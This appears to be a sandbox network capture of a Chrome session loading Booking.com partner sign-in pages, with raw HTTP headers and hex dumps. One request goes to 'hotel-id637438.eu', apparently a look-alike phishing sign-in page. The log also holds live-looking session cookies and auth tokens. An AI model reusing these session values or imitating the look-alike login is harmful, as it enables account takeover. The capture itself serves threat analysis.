2024-07-08 22:43:42 UTC	16384	IN	Data Raw: b2 d1 8a d0 b2 d0 b5 d0 b4 d0 b5 d1 82 d0 b5 20 d0 bf d0 be d1 82 d1 80 d0 b5 d0 b1 d0 b8 d1 82 d0 b5 d0 bb d1 81 d0 ba d0 be 20 d0 b8 d0 bc d0 b5 2c 20 d0 b7 d0 b0 20 d0 b4 d0 b0 20 d0 bf d1 80 d0 be d0 b4 d1 8a d0 bb d0 b6 d0 b8 d1 82 d0 b5 2e 22 7d 2c 69 61 6d 5f 6a 6f 69 6e 61 70 70 5f 65 6d 61 69 6c 5f 61 6c 72 65 61 64 79 5f 69 6e 5f 75 73 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 d0 a2 d0 be d0 b7 d0 b8 20 d0 b8 d0 bc d0 b5 d0 b9 d0 bb 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 20 d0 b5 20 d0 b2 d0 b5 d1 87 d0 b5 20 d1 81 d0 b2 d1 8a d1 80 d0 b7 d0 b0 d0 bd 20 d1 81 20 d0 bf d0 b0 d1 80 d1 82 d0 bd d1 8c d0 be d1 80 d1 81 d0 ba d0 b8 20 d0 bf d1 80 d0 be d1 84 d0 b8 d0 bb 2e 20 d0 97 d0 b0 20 d0 b4 d0 b0 20 d1 81 d1 8a d0 b7 d0 b4 d0 b0 Data Ascii: , ."},iam_joinapp_email_already_in_use:function(e){return" .
2024-07-08 22:43:42 UTC	3824	IN	Data Raw: 6e c3 ad 20 62 79 6c 6f 20 75 6b 6f 6e c4 8d 65 6e 6f 20 7a 20 64 c5 af 76 6f 64 75 20 6e 65 c4 8d 69 6e 6e 6f 73 74 69 2e 20 50 6f 6b 75 64 20 63 68 63 65 74 65 20 70 6f 6b 72 61 c4 8d 6f 76 61 74 2c 20 7a 61 64 65 6a 74 65 20 73 76 c3 a9 20 68 65 73 6c 6f 2e 22 7d 2c 65 78 74 5f 6c 6f 67 69 6e 5f 70 61 67 65 5f 75 6e 63 6f 6e 66 69 72 6d 65 64 5f 61 63 63 6f 75 6e 74 5f 61 6c 65 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 41 62 79 73 74 65 20 73 65 20 6d 6f 68 6c 2f 61 20 70 c5 99 69 68 6c c3 a1 73 69 74 2c 20 6f 76 c4 9b c5 99 74 65 20 70 72 6f 73 c3 ad 6d 20 73 76 c5 af 6a 20 c3 ba c4 8d 65 74 22 7d 2c 65 78 74 72 61 6e 65 74 5f 63 68 61 6e 67 65 5f 70 61 73 73 77 6f 72 64 5f 65 78 70 69 72 65 64 5f 31 3a 66 75 6e 63 74 69 6f 6e Data Ascii: n bylo ukoneno z dvodu neinnosti. Pokud chcete pokraovat, zadejte sv heslo."},ext_login_page_unconfirmed_account_alert:function(e){return"Abyste se mohl/a pihlsit, ovte prosm svj et"},extranet_change_password_expired_1:function
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 65 73 73 61 67 65 5f 6c 6f 63 6b 65 64 5f 61 63 63 6f 75 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 41 62 79 63 68 6f 6d 20 7a 61 6a 69 73 74 69 6c 69 20 62 65 7a 70 65 c4 8d 6e 6f 73 74 20 56 61 c5 a1 65 68 6f 20 c3 ba c4 8d 74 75 2c 20 70 6f 20 6e c4 9b 6b 6f 6c 69 6b 61 20 6e 65 c3 ba 73 70 c4 9b c5 a1 6e c3 bd 63 68 20 70 c5 99 69 68 6c c3 a1 c5 a1 65 6e c3 ad 63 68 20 6a 65 20 6b 20 6e c4 9b 6d 75 20 70 c5 99 c3 ad 73 74 75 70 20 7a 61 6d 65 7a 65 6e 2e 20 56 79 c4 8d 6b 65 6a 74 65 20 70 72 6f 73 c3 ad 6d 2c 20 6e 65 c5 be 20 62 75 64 65 20 70 c5 99 c3 ad 73 74 75 70 20 6f 70 c4 9b 74 20 75 6d 6f c5 be 6e c4 9b 6e 2c 20 6e 65 62 6f 20 73 69 20 22 2b 74 28 22 73 74 61 72 74 5f 6c 69 6e 6b 22 2c 65 29 2b 22 7a 6d c4 9b c5 88 74 Data Ascii: essage_locked_account:function(e){return"Abychom zajistili bezpenost Vaeho tu, po nkolika nespnch pihlench je k nmu pstup zamezen. Vykejte prosm, ne bude pstup opt umonn, nebo si "+t("start_link",e)+"zmt
2024-07-08 22:43:42 UTC	1024	IN	Data Raw: 6e 20 53 69 65 20 49 68 72 20 50 61 73 73 77 6f 72 74 20 7a 75 72 c3 bc 63 6b 22 2b 74 28 22 65 6e 64 5f 6c 69 6e 6b 22 2c 65 29 2b 22 2c 20 75 6d 20 65 73 20 7a 75 20 65 6e 74 73 70 65 72 72 65 6e 2e 22 7d 7d 7d 7d 2c 37 30 31 36 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 6e 29 2c 74 2e 64 28 6e 2c 7b 6d 65 73 73 61 67 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 70 6c 75 72 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 3f 22 6f 74 68 65 72 22 3a 31 3d 3d 65 3f 22 6f 6e 65 22 3a 22 6f 74 68 65 72 22 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 Data Ascii: n Sie Ihr Passwort zurck"+t("end_link",e)+", um es zu entsperren."}}}},70164:function(e,n,t){"use strict";t.r(n),t.d(n,{messages:function(){return a},plural:function(){return r}});var r=function(e,n){return n?"other":1==e?"one":"other"},a=function(e,n,t
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: cf 87 cf 81 ce b5 ce b9 ce b1 cf 83 cf 84 ce bf cf 8d ce bd 20 31 34 20 ce bc ce ad cf 81 ce b5 cf 82 20 ce b3 ce b9 ce b1 20 ce bd ce b1 20 ce b4 ce b9 ce b1 ce b3 cf 81 ce b1 cf 86 ce bf cf 8d ce bd 20 ce bf cf 81 ce b9 cf 83 cf 84 ce b9 ce ba ce ac 20 ce bf ce b9 20 ce bb ce bf ce b3 ce b1 cf 81 ce b9 ce b1 cf 83 ce bc ce bf ce af 20 ce b1 cf 80 cf 8c 20 cf 84 ce bf 20 cf 83 cf 8d cf 83 cf 84 ce b7 ce bc ce ac 20 ce bc ce b1 cf 82 2e 20 ce 95 ce ac ce bd 20 ce b1 ce bb ce bb ce ac ce be ce b5 cf 84 ce b5 20 ce b3 ce bd cf 8e ce bc ce b7 20 ce ba ce b1 cf 84 ce ac 20 cf 84 ce b7 20 ce b4 ce b9 ce ac cf 81 ce ba ce b5 ce b9 ce b1 20 ce b1 cf 85 cf 84 ce ae cf 82 20 cf 84 ce b7 cf 82 20 cf 80 ce b5 cf 81 ce b9 cf 8c ce b4 ce bf cf 85 20 cf 84 cf 89 ce bd Data Ascii: 14 .
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 5f 70 61 73 73 77 6f 72 64 5f 6e 6f 74 5f 61 6c 6c 6f 77 65 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 50 6c 65 61 73 65 20 63 72 65 61 74 65 20 61 20 70 61 73 73 77 6f 72 64 20 77 69 74 68 6f 75 74 20 65 61 73 79 2d 74 6f 2d 67 75 65 73 73 20 63 68 61 72 61 63 74 65 72 20 73 74 72 69 6e 67 73 20 28 73 75 63 68 20 61 73 20 79 6f 75 72 20 75 73 65 72 20 6e 61 6d 65 2c 20 68 6f 74 65 6c 20 49 44 2c 20 65 6d 61 69 6c 20 6f 72 20 6f 74 68 65 72 20 63 6f 6d 6d 6f 6e 20 64 65 74 61 69 6c 73 29 22 7d 2c 69 61 6d 5f 65 78 74 5f 70 61 73 73 77 6f 72 64 5f 6e 6f 74 5f 61 6c 70 68 61 6e 75 6d 65 72 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 50 6c 65 61 73 65 20 63 72 65 61 74 65 20 61 20 70 61 73 73 77 6f 72 64 20 74 68 61 Data Ascii: _password_not_allowed:function(e){return"Please create a password without easy-to-guess character strings (such as your user name, hotel ID, email or other common details)"},iam_ext_password_not_alphanumeric:function(e){return"Please create a password tha
2024-07-08 22:43:42 UTC	16384	IN	Data Raw: 6e 28 65 29 7b 72 65 74 75 72 6e 22 4e 6f 20 73 65 20 70 75 64 6f 20 72 65 63 6f 6e 6f 63 65 72 20 65 73 74 61 20 64 69 72 65 63 63 69 c3 b3 6e 20 64 65 20 65 2d 6d 61 69 6c 22 7d 2c 69 64 65 6e 74 69 74 79 5f 70 61 72 74 6e 65 72 5f 73 65 74 74 69 6e 67 73 5f 70 61 73 73 77 6f 72 64 5f 72 65 75 73 65 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 4c 61 73 20 63 6f 6e 74 72 61 73 65 c3 b1 61 73 20 61 6e 74 65 72 69 6f 72 65 73 20 6e 6f 20 73 65 20 70 75 65 64 65 6e 20 76 6f 6c 76 65 72 20 61 20 75 73 61 72 2e 20 45 6c 65 67 c3 ad 20 75 6e 61 20 64 69 66 65 72 65 6e 74 65 2e 22 7d 2c 69 64 65 6e 74 69 74 79 5f 70 61 73 73 77 6f 72 64 5f 63 6f 6d 70 6c 69 61 6e 63 65 5f 65 72 72 6f 72 5f 63 68 61 72 61 63 74 65 72 73 3a 66 75 6e 63 74 69 6f Data Ascii: n(e){return"No se pudo reconocer esta direccin de e-mail"},identity_partner_settings_password_reused:function(e){return"Las contraseas anteriores no se pueden volver a usar. Eleg una diferente."},identity_password_compliance_error_characters:functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49842	13.226.34.77	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:42 UTC	1324	OUT	GET /_/fvtrpw.gif HTTP/1.1 Host: account.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_ap=U2FsdGVkX1%2FBeD%2B9vhXp%2FoolZG6knJmAq5e8qg7cSJFfazowPL%2BhC00p83zPU3UEfc9g4mp72wMu%0AKvSMukQRkg%3D%3D%0A
2024-07-08 22:43:43 UTC	2745	IN	HTTP/1.1 200 OK Content-Type: image/gif Transfer-Encoding: chunked Connection: close server: envoy date: Mon, 08 Jul 2024 22:43:42 GMT content-disposition: attachment; filename=etnht.gif set-cookie: bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiI1OTZlZjgzNS0xNDRlLTQyYTMtOTU1MC0xYWJjODA4ZWMxY2UiLCJzZXNzaW9ucyI6W119fQ; domain=account.booking.com; path=/; expires=Sat, 07-Jul-2029 22:43:42 GMT; SameSite=Lax; secure; HttpOnly set-cookie: bkng_ap=U2FsdGVkX1%2FJSLHdauHWNfvx0ycMjovAflQYY4eoyEI8LwxhcJR8vF5sHYdhvRCgHxJJfePhnVRd%0A1d2p9YJRxw%3D%3D%0A; domain=account.booking.com; path=/; secure; HttpOnly set-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Sat, 07-Jul-2029 22:43:42 GMT; secure; HttpOnly set-cookie: bkng_sso_ses=e30; domain=.booking.com; path=/; expires=Sat, 07-Jul-2029 22:43:42 GMT; secure; HttpOnly content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=97ea9fcf4c0a002b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19bI6mNW1aFO2SfYPngvKKjwcN5J3wWRA28 content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=97ea9fcf4c0a002b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19bI6mNW1aFO2SfYPngvKKjwcN5J3wWRA28; script-src s [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 0f37773e2cce4ff7a5301ebabb04538a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: p7KCHefIuNnBdZ8NQXPuNp1S7Z1w0AyMKbaIXEtkffZDXWfzntw7fA==
2024-07-08 22:43:43 UTC	41	IN	Data Raw: 32 33 0d 0a 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b 0d 0a Data Ascii: 23GIF89a,;
2024-07-08 22:43:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49868	18.238.243.42	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:43 UTC	573	OUT	GET /libs/privacy-consent/1.0.0/partner/cookie-banner.min.js HTTP/1.1 Host: www.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:43 UTC	782	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 593 Connection: close Server: nginx Date: Tue, 11 Jun 2024 04:09:10 GMT Last-Modified: Wed, 22 May 2024 16:50:25 GMT ETag: "664e2251-251" Expires: Thu, 11 Jul 2024 04:09:10 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 bf57ce1929fb438631e46b2c83b05e2a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: KogoyOE134I38AY4ZNCYOCnq_3M9nOWaHacoSmWTu1OeBvktb_LQcA== Age: 2399672
2024-07-08 22:43:43 UTC	593	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 4f 70 74 61 6e 6f 6e 57 72 61 70 70 65 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 73 72 63 2a 3d 27 70 72 69 76 61 63 79 2d 63 6f 6e 73 65 6e 74 27 5d 22 29 3b 69 66 28 74 26 26 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 29 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 2e 74 72 69 6d 28 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49869	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:43 UTC	1209	OUT	GET /check-online HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pxcts=83ca0815-3d7b-11ef-ac31-1e6eccf31c73; _pxvid=83c9fb64-3d7b-11ef-ac31-449374cdc830; _pxff_fp=1; _pxff_cfp=1; _pxff_ddtc=1; _px3=b7421703164579de4a4cf0a7072cb13f045b2d4fd01257c74daec6d11f28f46f:si4damcdUrwOhs+ZcUXpZIMZTx4uQn2Z8RRBbRnxsR5z3MvHNTNjyBFggqJMTbLaOhDccQsjMXoNtpAVA4eHBQ==:1000:Lu0vJdmiWKEyfMVUelhhBa6pYDhpjgDkU0DGY5FfJE9D4kJxAGs/RrJ58EPOenbTQc7LiHw4bp3xtF9oYc501SsHMpyMkrTc4A3blidKeQ2GZZLMu4m3jerMC+XoZvwqD1ctqQv28HiHe2Cwk3q/t1FHV7poLFvMtG6J+qjwqFxdrJaiGuEQHQ5bwNOeXlArYT5iWVsgbexy18MhN8bSH2RF6NRPrQO9+vyPIRdTB28=; _pxde=9788bce90f4079379a0ce3bd27ecbc11de473b30d95d9c5cb62d93bc6a28ab3f:eyJ0aW1lc3RhbXAiOjE3MjA0Nzg2MTkxNzUsImZfa2IiOjAsImlwY19pZCI6W119
2024-07-08 22:43:43 UTC	567	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:43 GMT Content-Type: application/json Content-Length: 4 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CI%2B6lb7Adb3Cf5uJlSC9%2F76wXRn4OztSXpCKVeKJ5ZHYI4KasvJJ%2BcfC9gVw7aWWDdF%2F2LWv8fA8Igps1LyjBuLH15y4ZyDboFh%2FVN8odf5h06klEC66c0IAk93SzYefcEB5Yw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0398444fbc4258-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:43 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49870	18.164.96.49	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:43 UTC	1009	OUT	GET /analytics.js?ca=accountsportal HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone
2024-07-08 22:43:43 UTC	550	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 341 Connection: close date: Mon, 08 Jul 2024 22:43:43 GMT cache-control: no-cache, no-store, must-revalidate pragma: no-cache server: Perl Dancer2 0.300004 expires: 0 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 57a5349e40888d521545fc9b83f270a4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: dRFdzeiiaGmLwA1O6hSutE1J2QUHm1BMYzFN9p6A7FPzj7UsCm9mqQ==
2024-07-08 22:43:43 UTC	341	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 53 41 41 3d 77 69 6e 64 6f 77 2e 53 41 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 53 41 41 2e 6e 65 63 3d 22 30 74 57 4b 68 33 73 39 37 78 47 6e 73 4c 70 59 44 73 63 4f 61 51 31 44 22 3b 77 69 6e 64 6f 77 2e 53 41 41 2e 64 3d 22 73 61 61 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 3b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 61 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 61 61 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 61 73 73 65 74 2e Data Ascii: (function(){window.SAA=window.SAA\|\|{};window.SAA.nec="0tWKh3s97xGnsLpYDscOaQ1D";window.SAA.d="saa.booking.com";var b=document.getElementsByTagName("head")[0],a=document.createElement("script");a.type="text/javascript";a.src="https://saa.booking.com/asset.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49872	13.226.34.77	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:43 UTC	1551	OUT	POST /js-metric?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg HTTP/1.1 Host: account.booking.com Connection: keep-alive Content-Length: 36 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_ap=U2FsdGVkX1%2FBeD%2B9vhXp%2FoolZG6knJmAq5e8qg7cSJFfazowPL%2BhC00p83zPU3UEfc9g4mp72wMu%0AKvSMukQRkg%3D%3D%0A
2024-07-08 22:43:43 UTC	36	OUT	Data Raw: 7b 22 70 61 74 68 22 3a 22 70 61 73 73 6b 65 79 73 2f 6e 6f 74 5f 73 75 70 70 6f 72 74 65 64 27 20 7d 22 7d Data Ascii: {"path":"passkeys/not_supported' }"}
2024-07-08 22:43:44 UTC	2103	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: envoy date: Mon, 08 Jul 2024 22:43:43 GMT content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=e22b9fcf8f5d00e2&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgTDT2V-m21UMlertjpTp0dBkoiU97ub-lntLbh6x__iwZQ692sYmt82qWJsf-tg9SFkScAnJC7seLtJ8padwkZc content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=e22b9fcf8f5d00e2&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgTDT2V-m21UMlertjpTp0dBkoiU97ub-lntLbh6x__iwZQ692sYmt82qWJsf-tg9SFkSc [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 ef8392d3895fa7368e6a67a055402788.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: 